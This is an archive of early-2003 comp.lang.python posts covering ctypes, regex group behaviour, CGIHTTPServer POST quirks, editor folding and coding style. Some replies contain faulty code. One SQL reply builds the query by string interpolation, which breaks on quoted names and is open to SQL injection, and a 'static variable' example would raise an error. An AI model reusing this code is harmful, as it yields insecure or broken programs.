In-Reply-To: <3E1D7F8C.E0BCE81F@engcorp.com>
References: <3e1ba232_6@nopics.sjc> <v1qvi6ddvfbu2e@corp.supernews.com> <3E1D7F8C.E0BCE81F@engcorp.com>
Message-ID: <200301092030.MAA14739@mail.arc.nasa.gov>

On Thursday 09 January 2003 05:56, Peter Hansen wrote:
> Cameron Laird wrote:
                 .
> > I'm curious about what insider jokes I'm missing.
>
> I thought it was just Chad's deadpan delivery of an obviously
> outrageous blanket statement which he knew no one would take merely
> at face value.

Yeah, just to be sure no one is lead astray, you are quite right.  I
found the followup question of "just to be specific what are the best
schools for [generality] [generality] [generality]?" to be pretty
funny, so I gave a direct response.  Perhaps the original poster found
it useful, perhaps not. :)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From jimmy at retzlaff.com  Wed Jan 15 21:08:25 2003
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Wed, 15 Jan 2003 18:08:25 -0800
Subject: How can I call the functions in a DLL
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F0AF3D4@MAYOR.retzlaff.com>

hanzac [mailto:hanzac at cmmail.com] wrote:
>HI,
>I once used win32api.LoadLibrary("xxx.dll") and stored the HANDLE in d
>and used win32api.GetProcAddress(a, "xxx")
>and it returned a int value of the function address.
>
>But how can I call the function?
>Can someone guide me? Thanks first.:-)

Take a look at:

http://starship.python.net/crew/theller/ctypes.html

It's a fantastic piece of work. There a link to download it at the
bottom of that page.

Jimmy




From nealj at users.sourceforge.net  Fri Jan 24 16:37:49 2003
From: nealj at users.sourceforge.net (neal)
Date: 24 Jan 2003 13:37:49 -0800
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no> <itWX9.6061$hy.5720@nwrddc04.gnilink.net>
Message-ID: <70c9833d.0301241337.5dae15da@posting.google.com>

We've been using HAP (we developed it) for over a year and are pretty
happy with it - http://sourceforge.net/projects/hapdebugger



From backwardthinker at juno.com  Thu Jan 23 14:55:55 2003
From: backwardthinker at juno.com (Daniel)
Date: 23 Jan 2003 11:55:55 -0800
Subject: (test?return_true:return_false)
References: <mailman.1043336848.6443.python-list@python.org>
Message-ID: <1d4cf4c3.0301231155.f8bc70b@posting.google.com>

Mikael Sch?nenberg <micke at strakt.com> wrote in message news:<mailman.1043336848.6443.python-list at python.org>...
> > Is there a python equivalent to the (test?return_true:return_false)
> 
> http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.016.htp
> 

Oh no, I've become one of THEM!  Thank you, the a and b or c is good enough for me.

~ Daniel



From Mongryong at sympatico.ca  Wed Jan 29 17:48:01 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 29 Jan 2003 17:48:01 -0500
Subject: Newbie: anything resembling static?
In-Reply-To: <200301291959.OAA16582@ns.nealtech.net>
References: <200301291959.OAA16582@ns.nealtech.net>
Message-ID: <1043880481.1933.102.camel@refugeeMedia>

One, if not, the only reason, for having a static variable in a function
is if you wanted to conserve 'global' memory space.  For example, if the
function with the static variable is never called in your application,
'global' memory is not wastefully allocated for that variable.  Event
callback functions are great examples of when to use static function
variables.

If you're just concern about namespace issues, you're much better off to
use a global variable with a unique naming scheme.

But if you're reasons for wanting a static function variable is to
conserve wasting 'global' memory (as I've described above), you're
better to use a approach like this:

__callback_static_var = None
def callback(x):
	if __callback_static_var is None:
		__callback_static_var = CreateSomeStaticVar()

	...process

In fact, this is similar to what C/C++ do in their implementation of
static function variables.  The only difference being that in Python the
object is always created on 'heap'.

Hope that helps :)






From cmedcoff at comcast.net  Fri Jan 10 09:37:57 2003
From: cmedcoff at comcast.net (Charles Medcoff)
Date: 10 Jan 2003 06:37:57 -0800
Subject: Python Based Bug Database?
Message-ID: <fd065f64.0301100637.483c0b19@posting.google.com>

Hello,

Is anyone aware of a free or open-source, web based bug tracking
system based on python?

Regards,
Chuck



From jimmy at retzlaff.com  Wed Jan 22 01:03:31 2003
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Tue, 21 Jan 2003 22:03:31 -0800
Subject: Outlook Express and COM
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C88@MAYOR.retzlaff.com>

Greg Brunet wrote:
> This site has a wealth of info about OE and the WAB (Windows Address
> Book) both standalone & shared, but unfortunately I don't see a COM
> interface or file layout info.

The site http://oedbx.aroh.de/ has quite a bit of the format documented.
Go to "dbx description" at the top of the page.

Jimmy




From juneaftn at REMOVETHIShanmail.net  Tue Jan  7 13:26:40 2003
From: juneaftn at REMOVETHIShanmail.net (Changjune Kim)
Date: Wed, 8 Jan 2003 03:26:40 +0900
Subject: CGIHTTPServer and POST with Netscape versus IE
References: <3E1A4A4D.50C5DB52@engcorp.com> <bytS9.185$wz1.174516@news.uswest.net>
Message-ID: <avf65a$lsp$1@news.hananet.net>

My first thrust at the problem was using select. But it worked sometimes
and didn't work sometimes.

The securest way was to resort to checking the agent type and doing
blocking-read for garbages in case it's IE.


"Kevin Altis" <altis at semi-retired.com> wrote in message
news:bytS9.185$wz1.174516 at news.uswest.net...
> Well I was going to say this is fixed in the Python 2.3a1 release because
I
> thought Steve Holden had committed a fix, but I just checked the
> CGIHTTPServer.py file and it doesn't appear to have changed, so maybe
he'll
> chime in here.
>
> The PythonCard webserver sample contains a fix for the run_cgi() method
of
> CGIHTTPRequestHandler; it may be different than what Steve was going to
> patch with but it seems to work fine. Here are the two code fragments,
one
> for the Unix section and the second one for the Windows section. The
basic
> idea is to just throw away bytes paste the content-length but not block
> while doing so.
>             if pid != 0:
>                 # Parent
>                 pid, sts = os.waitpid(pid, 0)
>                 # throw away additional data [see bug #427345]
>                 while select.select([self.rfile], [], [], 0)[0]:
>                     waste = self.rfile.read(1)
>                 if sts:
>                     self.log_error("CGI script exit status %#x", sts)
>                 return
>             # Child
>
>
>             if self.command.lower() == "post" and nbytes > 0:
>                 data = self.rfile.read(nbytes)
>                 fi.write(data)
>                 # KEA now throw away data past Content-length
>                 while select.select([self.rfile._sock], [], [], 0)[0] !=
[]:
>                     waste = self.rfile._sock.recv(1)
>
> The one problem area I remember is that apparently someone added support
for
> Keep-Alive in BaseHTTPRequestHandler which might cause problems with the
> code above. If you need a robust server, you probably shouldn't be using
the
> CGIHTTPServer module, but it is perfectly fine for light personal use and
> testing. Since the HTTP/1.1 support in the request handler code is
shallow
> at best, adding Keep-Alive support was probably not a good idea.
>
> It would probably be beneficial to look at these changes in context, in
> which case you can get the 0.6.9 source
>
> http://sourceforge.net/project/showfiles.php?group_id=19015
>
> or just check out the webserver.py file in cvs
>
>
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pythoncard/PythonCardPrototy
p
> e/samples/webserver/
>
> ka
> ---
> Kevin Altis
> altis at semi-retired.com
> http://radio.weblogs.com/0102677/
>
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:3E1A4A4D.50C5DB52 at engcorp.com...
> > (This may be my first question in this newsgroup.  Please
> > be gentle! :-)
> >
> > We've encountered a little problem in a test program
> > involving the standard module CGIHTTPServer.py and a POST
> > operation from Internet Explorer.
> >
> > In summary, Netscape always works, but when using
> > Internet Explorer 6.0 (SP1, probably all versions fail)
> > a POST operation will result in a message (not a 404 or
> > any other recognizable HTTP error) that reads:
> >
> >    "The page cannot be displayed"
> >
> > along with a page full of friendly advice about what I
> > might have done wrong, and a title bar reading "Cannot
> > find server".
> >
> > After extensive investigation, we discovered that IE is
> > appending a CR LF pair to the request body, but is not
> > reporting it in the Content-length field.  (The actual
> > data is 23 bytes long, or 25 with these two.)  By
> > modifying the CGIHTTPServer.py code to read two extra
> > bytes, we "fix" the problem, but then of course the
> > server hangs when accessed from Netscape which doesn't
> > supply the extra two bytes.
> >
> > My questions:
> >
> > Is this a known problem for IE and maybe other browsers?
> >
> > Is it legal for a browser to do this, in which case is
> > it something CGIHTTPServer.py should be handling?
> >
> > Can anyone point me to other code (haven't been able to
> > find the relevant lines in Zope yet) in web servers which
> > might already handle this in a general and safe manner?
> >
> > Thanks for any pointers.  I've tried a few Google searches
> > so far without any bites, but it seems pretty obvious that
> > this is something that is known and solved, if I knew
> > where to look, and it seems likely the fix should be added
> > to CGIHTTPServer.py.
> >
> > -Peter
>
>




From bokr at oz.net  Fri Jan 10 20:20:49 2003
From: bokr at oz.net (Bengt Richter)
Date: 11 Jan 2003 01:20:49 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net>
Message-ID: <avnrhh$sqe$0@216.39.172.122>

On Fri, 10 Jan 2003 15:33:57 -0700, Andrew Dalke <adalke at mindspring.com> wrote:

>Kyler Laird wrote:
>> As it is, I am resigned to understanding that Python's re
>> module makes an arbitrary and undocumented decision to return
>> the last instance of a match for a group.  I'm embarrassed.
>
>It is documented, and behaves as documented.
>
>http://www.python.org/doc/current/lib/match-objects.html
>] If a group number is negative or larger than the number of
>] groups defined in the pattern, an IndexError exception is
>] raised. If a group is contained in a part of the pattern that did not 
>] match, the corresponding result is None. If a group is contained
>] in a part of the pattern that matched multiple times, the last
>] match is returned.
>
>As far as my research went, no standard regexp library could provide
>that sort of information.  They only give the last group which
>matched a pattern.
>
I was surprised to see the same substring apparently re-used though.
I had expected that whatever match was decided on "used up" the text
so that it could not be returned in another match pattern, but it looks
like the last-of-multiple-matches logic kicks in even when the multiple
match has already occurred in a single span. E.g.,

The original:
 >>> import re
 >>> text = 'foo foo1 foo2 bar bar1 bar2 bar3'
 >>> test_re = re.compile('([a-z]+)( \\1[0-9]+)+')
 >>> print test_re.findall(text)
 [('foo', ' foo2'), ('bar', ' bar3')]

Adding some parens:
 >>> test_re = re.compile('([a-z]+)(( \\1[0-9]+)+)')
 >>> print test_re.findall(text)
 [('foo', ' foo1 foo2', ' foo2'), ('bar', ' bar1 bar2 bar3', ' bar3')]

Why are foo2 and bar3 showing up twice each? E.g., why not '' in the last position?
Is that the way it is supposed to work? Just asking ;-)

[... snipping some other boggledystuff ...]
>
>It is working as documented.
>
>You can also solve this without regexps.
>
>> I certainly did not encounter a limitation with REs - I can
>> define the solution perfectly using an RE.  The problem is just
>> getting the Python re module to share its results.  Python's
>> broken re module doesn't make REs any less appropriate.
>
>Show me a module besides Martel which lets you get access to
>the parse tree.  I looked at about a dozen packages, read
>through Friedl's 1st edition book, and posted to various newsgroups
>looking for one.
>
>The problem is that the regexp defines a tree structure, but
>the interface to the parsers are linear, and there was a choice
>make (some time ago) to flatten that tree to only contain the
>last groups which match.
Even if they've already been matched?

Regards,
Bengt Richter



From gbreiner at ias.u-psud.fr  Fri Jan 31 11:13:18 2003
From: gbreiner at ias.u-psud.fr (Gerard Breiner)
Date: Fri, 31 Jan 2003 17:13:18 +0100
Subject: pydoc -g failed on HPUX
Message-ID: <Pine.WNT.4.44.0301311711070.3024-100000@azur>

pydoc -g

Traceback (most recent call last):
  File "/usr/local/bin/pydoc", line 4, in ?
    pydoc.cli()
  File "/usr/local/lib/python2.2/pydoc.py", line 2047, in cli
    gui()
  File "/usr/local/lib/python2.2/pydoc.py", line 2018, in gui
    import Tkinter
  File "/usr/local/lib/python2.2/lib-tk/Tkinter.py", line 35, in ?
    import _tkinter # If this fails your Python may not be configured for
Tk
ImportError: Failed to load
/usr/local/lib/python2.2/lib-dynload/_tkinter.sl
------------------------------------------------------
An idea please ?
Best regards

Gerard Breiner
Institut d'Astrophysique Spatiale
Batiment 121
91405 Orsay Campus
France




From barry at python.org  Wed Jan 15 11:25:08 2003
From: barry at python.org (Barry A. Warsaw)
Date: Wed, 15 Jan 2003 11:25:08 -0500
Subject: pybsddb and python 2.3
References: <b03sqp$fni$1@svr8.m-online.net>
Message-ID: <15909.35684.762321.293990@gargle.gargle.HOWL>

>>>>> "JS" == Johannes Stiehler <johannes.stiehler at fast.no> writes:

    JS> does anybody know what the long-term strategy will be for
    JS> synchronizing pybsddb and python bsddb module development?

Yes, I do. :)

    JS> Pybsddb seems to be incorporated into python now, but the
    JS> sourceforge version supports sleepycat bssdb 4.1 and the
    JS> version in python only 4.0.

Actually, everything should be sync'd up now.  Python 2.3cvs should
support BerkeleyDB 4.1 just fine.  In fact the pybsddb project on SF
is now just a distutils shell.  It actually gets its files from
Python's cvs.  (Aside: there's a glitch here that the Py2.3cvs isn't
compatible with Python 2.1, which I think we want it to be.  I'll fix
that when I can find the time.)

    JS> Will this be updated for the next release or should we all
    JS> stick to db 4.0 in order not to introduce incompatibilities
    JS> with future python releases into our code?

I'm currently using db-4.1.25 with Python 2.3cvs just fine.

-Barry




From mcfletch at rogers.com  Mon Jan 13 16:34:15 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 13 Jan 2003 16:34:15 -0500
Subject: ResourcePackage 1.0.0a2 available...
In-Reply-To: <just-173E50.22144013012003@news1.news.xs4all.nl>
References: <mailman.1042476451.9009.python-list@python.org> <just-E687F6.20113413012003@news1.news.xs4all.nl> <mailman.1042489765.27610.python-list@python.org> <just-173E50.22144013012003@news1.news.xs4all.nl>
Message-ID: <3E2330D7.9060109@rogers.com>

It is, in fact, just zlib, was going to use gzip, but then thought
"heck, why".

I actually wrote scanning__init__.py with an eye toward gracefully
failing in such situations, but as long as the module imports
resourcepackage you're going to have py2exe tracking it into the
application (fine if desired, but likely not).  If you simply do an
--exclude=resourcepackage in your py2exe section it should work w/out
problem, but that seems just as much work as killing off the file to me
(though you'd only have to do it once in your py2exe setup.cfg, of
course, and all users of your package would also need to do it...
suggestions?)

Here's what scanning__init__.py looks like now:

try:
     __file__
except NameError:
     pass
else:
     try:
         from resourcepackage import package
         ### CUSTOMISATION POINT
         ## import specialised generators here, such as for wxPython
         # from resourcepackage import wxgenerators
     except ImportError:
         pass
     else:
         import os
         package = package.Package(
             packageName = __name__,
             directory = os.path.dirname( os.path.abspath(__file__) ),
             # you may include a different generator-set as generators=
             # see package.py for details.
         )
         package.scan(
             ### CUSTOMISATION POINT
             ## force true -> always re-loads from external files, otherwise
             ## only reloads if the file is newer than the generated .py
file.
             # force = 1,
         )

If we are writing a run-time version (i.e. one intended to show up in
everyone's applications) we'd likely want to catch and log exceptions
from the initialiser and the scan instead of just allowing them to
propagate (which is desirable during development to prevent silent
resource clashes or the like).

Enjoy,
Mike

Just wrote:

>In article <mailman.1042489765.27610.python-list at python.org>,
> "Mike C. Fletcher" <mcfletch at rogers.com> wrote:
>  
>
...

>Ah. "GZIP"? It's straight zlib compression, right?
>
>I also wonder whether base64 encoding in the source would be more 
>efficient than a repr-ed string for binary data. Hm, I guess the 
>packager could find out by trying both...
>
>I'm not too sure I like is the fact you need to replace the __init__.py 
>when packaging. I'd think something like this could work (at least in 
>the context of freeze, py2exe, Installer and zipimport):
>
>import os
>
>for d in __path__:
>    try:
>        files = os.listdir(d)
>    except IOError:
>        pass
>    else:
>        ...scan for data files...
>
>Just
>  
>
_______________________________________
   Mike C. Fletcher
   Designer, VR Plumber, Coder
   http://members.rogers.com/mcfletch/








From pyth at devel.trillke.net  Wed Jan  8 14:26:28 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 20:26:28 +0100
Subject: Python Script that Impersonates Emails
In-Reply-To: <8F_S9.3165$IC6.162153@news20.bellglobal.com>; from dialectics-unlimited@sympatico.ca on Wed, Jan 08, 2003 at 02:05:11PM -0500
References: <8F_S9.3165$IC6.162153@news20.bellglobal.com>
Message-ID: <20030108202628.G349@prim.han.de>

Michael wrote:
> Hi,
> 
> This is somewhat of an odd question.  I came across a script ages ago,
> written in python, that reads usenet groups, "learns" to impersonate how
> people post, and then posts a pretty convincing email to the usenet
> group.  I totally forget what it was called, and am having no luck
> finding it on google.  Any one out there know what I am talking about?

This maybe is one such posting.  It doesn't convince me or rather
the use case sounds dubious to me. 

Care to mention what you need it for?  

    holger




From nhodgson at bigpond.net.au  Fri Jan  3 06:30:03 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Fri, 03 Jan 2003 11:30:03 GMT
Subject: [scintilla] Re: comments inside blocks
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com> <Kb2R9.25866$aV5.69116@news-server.bigpond.net.au> <3E156877.6010202@draigBrady.com>
Message-ID: <%ueR9.28133$aV5.78083@news-server.bigpond.net.au>

[P?draig (not using leading '>' for example as that messes up cutting and
pasting the code]
----------------------------------------
for i in range(10):
     print i
#comment nothing to do with for

for i in range(10):
     print i
#not normal but valid comment in for
     print i**2

----------------------------------------

> I noticed no changes wrt the above.

   In 1.49, the fold point on line 1 folds away lines 2..4 and in the test
version it folds away only line 2. The fold point on line 5 behaves the same
under both versions.

> Hmm I noticed another minor issue wrt brackets, ie: {([
> the following isn't folded:
>
> t=(
> 1,
> 2,
> 3
> )

   Python folding structure is mostly based on indentation with optional
extra folds for indented comment blocks and triple quoted strings and with
minor fiddles to make non structural lines (comments and spaces) fold
sensibly.

   Looks like the optional extra folds for comment blocks are no longer
working. Hey, [Bruce Dodson, Stephan R.A. Deibel, John Ehresman], are you
interested in fixing this - I think the dissociation of header comments is
wanted enough to allow it to break comment block folding, but it would be
good if they could both be on at once or if not that there could be an
option to choose between them.

[Peter Hansen]
----------------------------------------
for i in range(10):
    print i

# if we make it to the end, do this
else:
    print 'loop completed normally!'

----------------------------------------

[P?draig]
> well the else (same level) is never folded along with the for

   Scintilla treats the 'for' and 'else' both as level 0 lines because they
start in column 0. There could be an option to treat lines that start with
certain keywords (else, except, ...) as slightly more indented (say, half a
column) than they are.

   Neil





From nagylzs at freemail.hu  Wed Jan 29 10:21:02 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Wed, 29 Jan 2003 16:21:02 +0100
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org>	<7xy956jf5j.fsf@ruckus.brouhaha.com>	<47e891f1.0301281237.16079102@posting.google.com>	<7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu> <t1wvg089gey.fsf@kermit.wreck.org>
Message-ID: <3E37F15E.4090503@freemail.hu>



Christopher A. Craig wrote:

>Nagy L?szl? <nagylzs at freemail.hu> writes:
>
>  
>
>>The PRNG algorithm can be explored in almost all cases (especially
>>when using /dev/random), and this is a security risk.
>>    
>>
>
>Sorry to be off topic, but why especially?  At least on Linux,
>/dev/random is determined by various hardware factors chosen for the
>difficulty to guess them (i.e. the float between keyboard controller
>clock and the CPU clock generator) and then passed through a one way
>hash function.  
>
Isn't it used for initializing only? I thought that initial PRNG state 
is choosen randomly by those
factors but after that only the PRNG algorithm is used. I'm not familiar 
with the Linux source code
but I wonder how can they assure the correct distributions otherwise? 
(You cannot examine
those true random factors theoretically.)

  Laci 1.0

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030129/719dcdd8/attachment.html>

From nospam at earthlink.net  Tue Jan  7 11:54:39 2003
From: nospam at earthlink.net (taocairns)
Date: Tue, 07 Jan 2003 16:54:39 GMT
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <2356598.1041950714@dbforums.com>
References: <2356598.1041950714@dbforums.com>
Message-ID: <jDDS9.21510$9N5.1944093@newsread2.prod.itd.earthlink.net>

keithk wrote:
> Hi All,
> 
> I am using an mx.ODBC connection to MSSQL and am iterating through a
> list to get data from the DB, for eg:
> 
> for fileName in fileNameList:
>         cursor.execute("SELECT fileSize FROM database where
>         database.filename = '%s'" % fileName)
>         fileSizes = cursor.fetchall()
> 
> However, when it iterates through the list and fileName equals something
> like "Hello World's" with a single quote inside the query fails as the
> string is ended prematurely, does anybody know how I can solve this?
> 
> Thanks in advance,
> 
> Keith
> 
> --
> Posted via http://dbforums.com

Try unquoting the placeholder (%s):

for fileName in fileNameList:
          cursor.execute("SELECT fileSize FROM database where
          database.filename = %s" % fileName)
          fileSizes = cursor.fetchall()




From csad7 at yahoo.com  Sat Jan  4 08:03:58 2003
From: csad7 at yahoo.com (christof hoeke)
Date: Sat, 4 Jan 2003 14:03:58 +0100
Subject: easier solution possible to find a stringpattern in a list?
Message-ID: <av6m3r$n5m$01$1@news.t-online.com>

hi,
i was wondering if there is an easier solution to the following problem (i
am more or less a beginner in python):

i have a list of filenames and want to know if there is one or more files
with a given pattern in it.
a bit similar to what glob.glob(pattern) is doing.

my solution till now would be

files = [...]
pattern = "*.xsl"
number = len( [f for f in files if f.endswith(pattern)] )
if  number > 0:
    print number + " times in the list"
else:
    print "not in the list"

is there already a function in the standard modules that can do something
like this?
maybe even one which can handle more generalized patterns?
i guess i am looking for a version of glob which handles a list and not the
filesystem.

thanks for any help
chris






From spam at magnetic-ink.dk  Sun Jan  5 03:17:11 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Sun, 5 Jan 2003 08:17:11 +0000 (UTC)
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <slrnb1fctm.bl2.grante@localhost.localdomain>
Message-ID: <10abff1f-471e-4ae4-87d1-95d0e9133589@news.szn.dk>

Grant Edwards wrote:

>> I've been using jed since 1995.
>  
> Me too.  Someday I need to do a little work on Python mode.  The
> handling of quotes is a bit flakey.  I also need to figure out
> how to do block indent/dedent (or add it if it's mission)

Could you please notify me when you've accomplished the task? *:)


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From bodoni26 at resnet.gatech.edu  Wed Jan 15 17:46:07 2003
From: bodoni26 at resnet.gatech.edu (Steven Scott)
Date: Wed, 15 Jan 2003 17:46:07 -0500
Subject: Switch statements again
Message-ID: <1042670767.3e25e4afa12e5@www.progoth.com>

I've been reading the claims about doing things a more elegant way in python
when it comes to switch statements, using if-elif-else and/or dictionaries
of function pointers.  the following can be done with if-elif-else (and
that's how I did it), but it sure is ugly.  my question is simply "what's
the best way to do this in python?"

    switch (calDayOfWeekMask)
      {
	  <snip>
	
      case MASK_SUNDAY:
		dayOfWeek--;		// and fall thru
      case MASK_MONDAY:
		dayOfWeek--;		// and fall thru
      case MASK_TUESDAY:
		dayOfWeek--;		// and fall thru
      case MASK_WEDNESDAY:
		dayOfWeek--;		// and fall thru
      case MASK_THURSDAY:
		dayOfWeek--;		// and fall thru
      case MASK_FRIDAY:
		dayOfWeek--;		// and fall thru
      case MASK_SATURDAY:
		if (calWeekNumber == LAST)
		  {
		    occurrence.setDay(occurrence.getDaysInMonth());
		    occurrence.addDays(- ((7 - dayOfWeek
					   + occurrence.getDayOfWeek()) %
7));
		  }
		else
		  {
		    occurrence.setDay(1 + ((calWeekNumber - 1) * 7));
		    occurrence.addDays((dayOfWeek + 7 -
occurrence.getDayOfWeek()) % 7);
		  }
		break;
		
      default:
		return FAIL;
      }


-- 
Steven Scott [Bodoni26 at resnet.gatech.edu]
Don't give up fighting, 'til nothing else stands in your way..Don't
give up talking, until there's nothing left to say....But no matter




From nagylzs at freemail.hu  Wed Jan 29 02:40:14 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Wed, 29 Jan 2003 08:40:14 +0100
Subject: where are the docs on linux?
Message-ID: <3E37855E.8040708@freemail.hu>

  >

>
>I'm using the documentation from python.org as help, but someone asked me
>today if there are local docs on linux as well (kind of like perldoc).
>I couldn't find any local docs.
>Is it possyble that there is no local documentation just the ptyhon website?
>
>  
>
You must install the python-docs package, and go to 
'/usr/share/doc/python-docs*/index.html'.
But it depends on the dist. also. What distribution do you use?

  Laci 1.0








From pan-newsreader at thomas-guettler.de  Thu Jan 23 16:40:24 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Thu, 23 Jan 2003 22:40:24 +0100
Subject: paths (Newbee question)
References: <mailman.1043335841.17983.python-list@python.org>
Message-ID: <pan.2003.01.23.22.40.24.240266.726@thomas-guettler.de>

On Thu, 23 Jan 2003 16:29:11 +0100, Joseph C. Slater wrote:

> I'm trying to use os.popen to run ps2pdf on a file. This works fine, as
> long as p2pdf is in the path, along with all of the other things it
> needs. To make a long story short, how do I, inside python, not in the
> call, set these paths?

Depending on your operating system you can do:

os.popen("PATH=%PATH%;C:\\foo\\bar & ps2pdf ...")

or

os.popen("PATH=$PATH:/home/foo; export PATH; ps2pdf ...")

Maybe there is a portable way, too.

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From zopestoller at thomas-guettler.de  Wed Jan  8 04:25:54 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Wed, 08 Jan 2003 10:25:54 +0100
Subject: Python and GIS
Message-ID: <avgqm7$3qn$00$1@news.t-online.com>

Hi

I need an interactive map:

The user should zoom in and out. In the smallest
view needed you should see towns. Some
towns should be "clickable". If you click on
a town data from our database should be displayed.

Now I need two things: The data and the viewer.

The data should be from russia.

It would be good if the data and the viewer are
open source. But this is not an obligation.

I searched for GIS and Python with google but only
got AVPython as result. AFAIK this does not help me,
since it needs ArcView.

I am new to GIS but not to programming. Have
you any hints?
Please send me some links pointing to sites which
could help me develop this.

Up to now Web and GUI solutions are possible.

I found:

  PDFMap http://sourceforge.net/projects/pdfmap/
    This looks interesting, but I don't like that
    I can't control the viewer (AcrobatReader)
    I think it is not possible to open the map
    at a given position from my application.

  MapIt http://www.mapit.de/index.en.html
    MapIt looks good. I think it could be used.
    Since it uses raster data I would need
    a huge image of russia.

  Sketch http://sketch.sourceforge.net/
    Sketch can display vector grafic.
    Making it interactive would need some
    coding. Drawback: It is developed for
    unix not win32.

  FreeGIS http://freegis.org/index.en.html
    Good site with a lot of link. Unfortunately
    too many links for gis-newbies like me.


  thomas




From db3l at fitlinxx.com  Fri Jan 17 17:31:39 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Jan 2003 17:31:39 -0500
Subject: portalocker in Win98
References: <fe35b211.0301140932.62d3d334@posting.google.com> <b036k3$l72q5$1@ID-71831.news.dfncis.de> <200301160959.25161.rjones@ekit-inc.com> <mailman.1042672762.2111.python-list@python.org>
Message-ID: <uu1g75rxw.fsf@fitlinxx.com>

Richard Jones <rjones at ekit-inc.com> writes:

> This thread on python-win32 looks like it might have the solution:
> 
>    http://mail.python.org/pipermail/python-win32/2001-August/000123.html
> 
> (since I want a blocking, exclusive lock :)

You might also want to check out a few threads from comp.lang.python
in the same timeframe which covered quite a bit more ground:

Google for "group:comp.lang.python lock sheila" and check out the
first three threads.

A lot of what makes a reasonable solution depends on the core
requirements and granularity required of the locking.  Unfortunately,
the more fine grained and flexible you require the locking, the less
likely it is to find a portable solution.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From max at alcyone.com  Thu Jan 16 19:21:45 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 16:21:45 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E2689CD.B085BED5@alcyone.com> <6ee58e07.0301161523.65f3343b@posting.google.com>
Message-ID: <3E274C99.F8E2453B@alcyone.com>

Lothar Scholz wrote:

> In fact now you have this fucking WIN32 API where you can find lots of
> places where the variable is different then the prefix. Event
> datatypes change during program lifetime - ignoring this means simply
> being a manager that has never written a really large software system.

That's one of the biggest drawbacks to Hungarian notation systems, even
if you buy them having some intrinsic value up front.  In the real
world, software changes, and in the real world, most programmers don't
bother updating the Hungarian prefixes to keep them up to date.

Ostensibly, Hungarian notation is supposed to allow you to tell the
purpose/type of a variable without having to look for its declaration
(or, in the case of assignment, where it gets bound :-).  But in real
world projects, where you can't be sure of the validity of those
prefixes, you are forced to go back and look at the declaration/binding
of the variable anyway.  So the entire purpose of the notation -- to
save you time -- is completely defeated.  In fact, it can _cost_ you
time, since if you trust the notations too much, you'll find yourself
getting compile errors -- or, even worse, runtime errors -- that require
multiple passes and debugging cycles.

> If your variables are so short that you can't imagine the name you are
> doing something wrong. I program in eiffel the whole day and we have
> method names
> like  "create_keyboard_shortcut_from_string". You read a program
> multiple times
> but you type it much less.

That seems to be another characteristic of Hungarian notation
programmers; they tend to prefer short, cryptic names.  Nothing like
having some vague idea of the type of a variable but being totally
unable to guess what it actually contains since its name is abbreviated
into completely obscurity.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All the people in his neighborhood turn around and get mad and sing
\__/ Public Enemy
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From karsten at rohrbach.de  Sun Jan  5 05:19:20 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 5 Jan 2003 10:19:20 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <slrnb1g1qr.sgg.karsten@datasink.webmonster.de>

Etienne Charland <mystery at golden.net> wrote:
> I would like to compare Python with .Net. First of all, for those who knows
> .Net, what are the pros and the cons of each?

.NET is Microsoft's approach to embrace and extend the OpenSource
